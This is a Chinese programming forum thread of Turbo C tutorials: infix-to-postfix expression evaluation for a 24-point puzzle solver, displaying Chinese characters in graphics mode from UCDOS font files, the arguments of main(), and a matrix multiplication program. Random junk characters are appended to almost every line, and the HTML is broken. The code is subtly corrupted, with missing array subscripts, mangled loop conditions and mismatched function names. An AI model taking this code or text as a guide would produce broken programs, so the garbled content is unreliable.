9 u0 \5 A" H! g+ _7 C9 J7 p4 C}9 ?- E: l  e; y
/* 此函数实现中缀到后缀的转换 */+ ?5 O, s  N) p$ q7 N6 d0 x
/* M的值宏定义为20 */
( I0 j! f+ I0 |/* sp[]为表达式数组 */0 t+ E2 {  G7 N( u1 M+ c
int mid_last()
& Q, @0 T6 c- m3 W{ int i=0,j=0; char c,sm[M];# O# b. h# m+ L) U
c=s[0]; sm[0]='='; top=0;: o  u5 E. q! g1 e. W* ?( D8 f
while(c!='\0')' `8 r. e5 ^4 }
{ if(islower(c)) sp[j++]=c;$ V7 t; j3 r  }
else switch(c)# `, k5 J: q& S' M6 T& N  P
{ case '+':
, u) `* {+ d3 V) [8 k1 L/ r  {case '-':3 D. j3 b+ G+ q) ^
case '*':
& s# o. K8 G# N& |  ]case '/': while(first(c)&lt;=first(sm[top]))/ a  d, H" S$ ~
sp[j++]=sm[top--];
0 ?( g+ U( `. s  o- [sm[++top]=c; break;1 a+ F, @* ~& t3 }; |' B9 e
case '(': sm[++top]=c; break;6 E  ?2 j7 r' U! I2 B
case ')': while(sm[top]!='(')
# C2 P8 S% `1 H8 ]4 B2 {sp[j++]=sm[top--];
, w. _. o3 _; S8 c+ Ttop--; break;
& a+ m4 a/ A) ?default :return(1);% m2 v5 r# w! R( G( q" X# z; _
}8 t: v4 S6 X: c( R$ B3 F4 G
c=s[++i];* o0 W4 g/ F2 t: [* J
}; y2 H* B0 Z* b2 b; l% M8 j$ M
while(top&gt;0) sp[j++]=sm[top--];
# a" I' f* O3 V! R" }( |sp[j]='\0'; return(0);( M# ?$ t; y" L+ m& k
}
' U, [0 a; A! b5 I$ `' n5 X/* 由后缀表达式来计算表达式的值 */
, W* e& g: ?. B' A- {int calc()
1 |* f+ {7 Z. {{ int i=0,sm[M],tr; char c;  M! U  v8 D" r& w/ q
c=sp[0]; top=-1;
$ A8 _: Q0 i. @, E9 }8 D1 |- fwhile(c!='\0')" ^& [5 G. N1 D4 f: y7 _; ]$ P/ J
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,2 n* `* l' H" d
这样才可以更方便的处理非一位数, # f3 w" O: t! Y" g& s8 [# t1 K% c
ver数组中存放着这些字母所代替的数*/, j& `7 l8 E7 \
else switch(c)
% `, J" K# g& O" |. }2 g% H. [{ case '+': tr=sm[top--]; sm[top]+=tr; break;, |9 O2 X% d( {* O* z8 q
case '-': tr=sm[top--]; sm[top]-=tr; break;- y/ R$ k0 a4 ^3 q% J% i2 ]
case '*': tr=sm[top--]; sm[top]*=tr; break;
. k: S9 u( a" D$ n: [case '/': tr=sm[top--];sm[top]/=tr;break;
9 M7 Z$ f9 ~. M. X( s- Tdefault : return(1);
4 D3 N. y, a; Q, F1 s  U; L$ }}2 z# y9 s3 K* E9 ~5 y- G, S
c=sp[++i];% k- Q$ j. i' B) Y' _; s
}6 Q# Q( k$ B: p" P4 s" q% O  E
if(top&gt;0) return(1);2 X6 ?4 [- ~* S  U7 }7 q- Q3 O
else { result=sm[top]; return(0); }
; |9 Z9 |' g2 j}
$ J) w; i7 v# l% B1 c1 j4 z: p</FONT>
# U1 s9 V  V- g1 ?" h" ]; d7 l  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。9 k* x: h/ N0 s' K3 s0 W  i; g8 m
8 F, {: M' ^, O! }- q
  最后我总结了一下这其中容易出错的地方——' z5 R' k# g( ^2 ]" w: k* f

. l" m# Z5 ^9 V1 h  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
0 C( B% E4 V) P+ L& b) ~+ L& E5 R% u/ C" K# |  X# q
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。3 a6 v% P4 F% |, a5 L% z  _- U
6 Q+ e' p2 J9 B! t& p) f
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。   C% N, h8 l5 h0 q( P' P6 o

- c4 c& R& T* C) n0 j9 }  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
3 }6 F; r. `5 K; h' H4 r
" v3 l) d" U* \6 O  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。4 u9 ]5 T9 T) m. v' B
- ?& v( M% Z# E6 u" Q9 _
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
8 b) F$ h+ g8 x+ j" i
4 N5 s. l: b+ D: c5 N  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。, G6 I) |  h- D7 v
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>7 c( Y* l! {0 q9 ~# P( z
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
# C" l! ]3 V7 V. u" f( v  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。7 f+ e0 P# ]- O; S: ]7 ^1 G
  汉字显示的第一步是打开字库文件。 " r; G' j! J3 c* n
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。! E/ ~1 R2 _+ ~8 N" q7 B6 N
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)# Q" w" ], _+ O- \2 V9 ^8 ?
{
9 i4 k, E* F7 W& _& Q0 \unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
  P2 R/ F2 z# j3 j% Nint rec,i1,i2,i3; /*z:space between;*/
7 f" ~$ e* H" |# ^+ d- Dlong l; /*color:txt color*/
. O! \, @) T1 vchar by[32]; /*p:HZ str*/2 N& Q( e. |3 R
if( handle&lt;0 ) return -1; while((i=*p++)!=0){" A5 Y$ h/ i  ?* a0 C' Q2 {3 h+ ~
if(i&gt;0xa1)' m& E: S7 H, `& A: |* q
if(f==0){
% I- ~! B0 {3 j8 c7 ]1 E  Gc1=(i-0xa1)&amp;0x07f;
& [, ?. _* A, w/ U" Uf=1;, R, v, q* e7 k* ^) Y) u
}
7 i$ \& k. M+ \1 melse{/ |' _) N1 s' L: @3 Y: q1 Q
c2=(i-0xa1)&amp;0x07f;1 v+ {) t/ G2 p
f=0;
# D- Z- b( ^3 Q% W- x" krec=c1*94+c2;5 Z9 {6 \7 m( P1 @5 @7 \  y
l=rec*32L;& |. W' ^/ F' t1 [# ]  j1 W
lseek(handle,l,SEEK_SET);# x9 W' ?: X$ c. v- t; {% o
read(handle,by,32);  Q$ q' C5 X; p, [
for(i1=0;i1&lt;16;i1++)
* f0 ^8 F1 R' W; u& Sfor(i2=0;i2&lt;2;i2++)1 I7 `6 c9 x: k
for(i3=0;i3&lt;8;i3++)
8 Y0 \* _5 g. j$ `  p; p/ j( uif(GetBit(by[i1*2+i2],7-i3))
6 f& V' @0 z& \putpixel(x+i2*8+i3,y+i1,color);
; m/ I4 K5 c5 wx=x+z+16;7 v2 @6 R# n  C0 ~
}
) m4 z& K) ~  ]* |& ^# w3 \}
* H5 C7 T+ E+ ^, W& f/ j% K+ Lreturn(x);
1 V. ^! z- _+ q0 _; G  z}- D- X5 ]" y# S3 o
函数GetBit定义如下:$ s% N/ G9 s6 V. M9 K7 N
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
  U) m+ H% M5 W, d+ h6 {* oint GetBit(unsigned char c,int n)$ ^8 _- f, @1 C& O8 m# ?
{! e; K! V+ E+ m4 Y% x: }
return((c&gt;&gt;n)&amp;1);
% K/ Y1 g" T7 R, @/ a1 e}" |: G% t  ~3 ]; H( D* r8 W3 ~' e
汉字显示结束,应该关闭字库文件。
+ x6 [5 Y) T  D- ?8 @+ {void CloseHz(void)4 _$ a, m& |6 X2 p
{/ H+ [8 v4 a* {: H4 j
close( handle );% i: R# ^2 X. B2 X. [( z
}
. a* b9 h8 W7 _# Z#include "\Caic\Include\Hz.h"
3 T: N9 p: I* {$ J#include <GRAPHICS.H>
9 q- Q6 R. T9 ?, a0 j9 s% `#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";) T; E5 [) b7 {& \9 A8 F
const char* HzStr = "苦丁香C语言辅助学习软件";5 G# G1 ]! _+ f( Y( y* d$ p
void main(){" J' R: p" o+ |- _; G4 f9 z
int gr=DETECT,gm;
. i2 C4 s5 y/ [; F# E, Minitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
  b; O0 y2 E3 I6 e3 gOpenHz( Hz16Path );( E4 V9 H2 d! a5 J
Wrt16Hz(20,20,4,RED,HzStr);0 {' Q/ q3 V( C# V0 Q8 {
CloseHz();) X7 V1 h8 C, I+ ?+ ^1 k3 J& s( U
getch();# K6 H4 B* _* }1 ~9 z9 t
closegraph();* R+ [: C8 v3 @, `
}显示24点阵及放大汉字
( R6 L( [6 j0 o  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
1 y, q3 n3 D" p) X! N6 W& G函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。. A0 e" J. R- L3 j( g  F% ?- x
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)2 G' k" {9 O& w1 i
{
; P! b: R6 s/ d) h- R* O% Uunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
  B2 z5 G; R! J0 z0 V: G5 a4 h* [2 Fint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
( q5 B5 b( z! W6 F6 v# Hlong l; /*color:汉字颜色*/
) V% Q# m! H0 L$ P+ l8 m$ Y7 hchar by[72]; /*m: x 方向的放大倍数*/
2 u6 b9 M+ s$ f; R) X* m/*n: y 方向的放大倍数*/& Q! n7 v. G1 m
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){7 [* }: o3 d1 y% b# h9 L
if(i&gt;0xa1)
. N: o% n( z6 a% \' r5 K' aif(f==0){" D8 X7 }, g- Z8 O5 D9 s
c1=(i-0xa1)&amp;0x7f;
: m6 s5 _5 I  _: U2 Lf=1;. J$ W2 ^# `9 j# M$ C9 _; u  F
}
% H  e3 |8 u! `& oelse{
7 P. b$ h7 D# E* mc2=(i-0xa1)&amp;0x7f;
- Z1 C, E6 L; |0 i- [2 H( If=0;* _3 V8 Q8 }) D# T% o
rec=(c1-15)*94+c2;) u' G5 |) M- u5 g. a* c4 ~0 Y2 g. ]
l=rec*72L;5 H0 q5 U# N9 D9 `; h3 M
lseek(handle,l,SEEK_SET);
4 E; [8 X: \, s4 Cread(handle,by,72);0 x: W& }  m; e* t' U) X
for(i1=0;i1&lt;24*m;i1=i1+m)( U  F5 B# x3 L% g, I' e  h
for(i4=0;i4<M;I4++)- r7 t+ o- p( ^0 ]" m
for(i2=0;i2&lt;=2;i2++)
1 g9 H& }, V- C1 Z7 rfor(i3=0;i3&lt;8;i3++)7 j) o* [5 U  W
if(GetBit(by[i1/m*3+i2],7-i3)). @) c0 d6 y. d0 R2 `- o# W# W/ j
for(i5=0;i5<N;I5++)  W) g$ ^) i- R0 M3 E* [1 j
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
; X9 E! _1 g* P! K8 p+ px=x+24*m+z;
% @1 ^4 M+ n7 l: G+ v  A}6 z5 u) L7 q/ D& {, J, f' [1 l
}
8 ?7 |% @4 i* h: }6 oreturn(x);
" z2 g9 s! M" K: H6 g, T# {, N. m} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
$ E! h+ @5 ]% W/ H8 Y( t# d#include <GRAPHICS.H>& C8 E5 c# L# {
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."4 {4 \$ I& K  N' \. m
const char* HzStr = "苦丁香C语言辅助学习软件";: z& q6 ?  B# _. O3 l
void main(){
9 d& x" }+ I! |7 x4 T- d4 fint gr=DETECT,gm;
6 o% y3 y) {. K+ a. qinitgraph(&amp;gr,gm,"\\Caic\\Bgi");& x% b+ F, d  h
OpenHz( Hz24Path );
, l' c3 j; `- N, NWrt24Hz(20,20, /*先是在(x,y)*/7 |; x# w5 v" D. F5 f1 _9 Z1 U. D
4, /*汉字间的空格为4*/
7 k  ?! @; ~0 ^1 n- jRED, /*用红色显示*/
* Z" O1 l0 W' M( [* _" j$ L+ D2, /*x 方向放大2倍*/
% a  B, `! N( u- Z% u3 p5 f4, /*y 方向放大4倍*/$ O/ x2 i+ Y5 W2 s7 X
HzStr); /*显示字符串*/9 E& w# x' D/ Z' I6 w  i6 O. H4 J
CloseHz();( B6 m7 I' _, }( D1 V4 l- c
getch();4 r# \: T; V3 N* p6 b
closegraph();0 r! W! r. P; `! y2 q. [
} " D7 a* P* o$ q
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
( M2 ^0 n! W9 }/ h+ r$ }1 h; ?7 I  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。1 e, F8 B5 k) M! p( A1 {) v% i
1. main() 参数& i3 t  K- J& W6 c. i0 P# ?* r2 j- J
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
" p5 J7 A4 S- N9 l: l0 m  * argc: 整数,为传给main()的命令行参数个数。
# K" B3 y8 ~; B, s) W  * argv: 字符串数组。1 K1 [1 J0 w* w3 s' `% u
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;7 Z+ W: Y4 \/ `7 q3 _
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;5 k. [! h  N. O( h
...* I) C# V8 `0 U; O$ b/ e! _+ E: F+ d
argv[argc]为NULL。/ z5 w) H7 j. I& h: @9 @
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应1 q' ]0 }/ w8 U+ c9 Z* H
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/7 Z* a$ M: Z. N6 h, [3 g1 g$ \
#include&lt;stdio.h&gt;
. k& [5 ]; R: g7 U8 g#include&lt;conio.h&gt;
6 b* C/ L) |9 Q! \5 D0 W#define X 3
8 S/ A: C* [$ ?7 `$ W8 \#define Y 3</P><>int a[X][Y];& X6 [  }4 w( L+ [4 ^' v
int b[X][Y];! J' l0 I2 P3 J0 ^8 S. V) i
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
, F# |% h5 O2 cmain()2 e! ~" m) Q7 W5 E- `" j
{
" F: a4 h: k. p7 cint i,j,temp;* D: a5 t( ~" T( j8 c: `& j0 f& ~
clrscr();; _, U5 B" N/ M2 B
printf("lease input int matrix b[%d][%d]\n",X,Y);
. {6 f2 N5 h$ c1 A: |( D* l# V+ Dfor(i=0;i&lt;Y;i++)3 E8 K' u" A, n8 a* k5 x) F9 x
for(j=0;j&lt;Y;j++){0 ?, K' a. o* O$ ^/ L
scanf("%d",&amp;temp);+ v! R7 A2 o+ j" ], C# P9 f; z; Z6 }
b[j]=temp;
4 {) b; P* ?) a" I6 o) G% }}( C& C1 e3 k0 r3 d% V/ w4 F7 q
printf("lease input int matrix c[%d][%d]\n",X,Y);
3 s9 z" p; L* u& w" }. K) Efor(i=0;i&lt;X;i++)
. U$ ]4 [" J) ^6 l0 Vfor(j=0;j&lt;Y;j++){. H3 `7 g  e; c1 Q. W
scanf("%d",&amp;temp);
0 L" t' _0 D; K0 D( l- S1 S$ Fc[j]=temp;4 `  V% P* f+ M$ t8 g
}( k" Z& ~' c. Q$ ^
matrix(b,c);
) {0 O' H. E" X0 E% u/ }& r  w8 }4 tprintf("Now print resource matrix b[%d][%d]=",X,Y);
7 d' e+ V: G4 G0 j! }2 e. _for(i=0;i&lt;X;i++){" \/ b) A+ d- b2 X+ g
printf("\n");6 Y0 }7 D( X$ a% h8 S: r' {
for(j=0;j&lt;Y;j++)9 \4 o  y( r- T6 e( q
printf("%d ",b[j]);: v3 N  W0 C# w, p
}
0 [8 ^% Y+ b+ V* V$ oprintf("\n");
' }0 C4 \/ F6 n' Kprintf("Now print resource matrix c[%d][%d]=",X,Y);
  g  R+ {7 P) a" g9 g! @for(i=0;i&lt;X;i++){
7 |( ]- @- D$ P3 Aprintf("\n");! C0 ]6 X' A- m
for(j=0;j&lt;Y;j++)
9 _6 F0 [; G9 W0 \- Mprintf("%d ",c[j]);
* m6 c- W2 H' U8 [3 C' U7 C}" E/ L, u, f. |5 L0 m
printf("\n");
: b3 t& Z  m3 Zprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);: [) h- y7 S) U" R- r: V4 l
for(i=0;i&lt;X;i++){
) }! R: U, ^) L# s# l; j6 b7 Xprintf("\n");: z3 T4 }- ~2 W' O4 S' `9 A
for(j=0;j&lt;Y;j++)# V+ \% `5 }! ?4 z7 v7 {
printf("%d ",a[j]);
8 y1 d5 K4 n. }5 @3 s8 I}
$ u. \) S6 F/ G: o3 dgetch();- D7 t+ O8 l2 l: u8 k- Q) l
return 0;
" k: S' W; v; @( C) |1 p9 T6 P}
, Z8 a9 E. k; W5 h" g/********************************************************************/4 d! P- J6 [' p( ~
void matrix(int b[][X],int c[][Y])
* i+ e, _& n- _3 P0 o% {{6 O+ z; L& `/ N: R; ]
int i,j,k,temp;
$ X* ~% o( N- P; Ffor(i=0;i&lt;X;i++)1 x! {6 l2 Y  Z- p" O
for(j=0;j&lt;Y;j++){7 Z$ ~6 R' u' T8 r% C1 R) d
for(k=0;k&lt;Y;k++)
% }. y' l- C& G7 t. r- @a[j]+=b[k]*c[k][j];9 Y0 I' ]) ~1 c: y1 ?! `
}/ N" {* Q) |  F# s. s  r  s# W' x
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-17 13:18 , Processed in 0.466298 second(s), 90 queries .

回顶部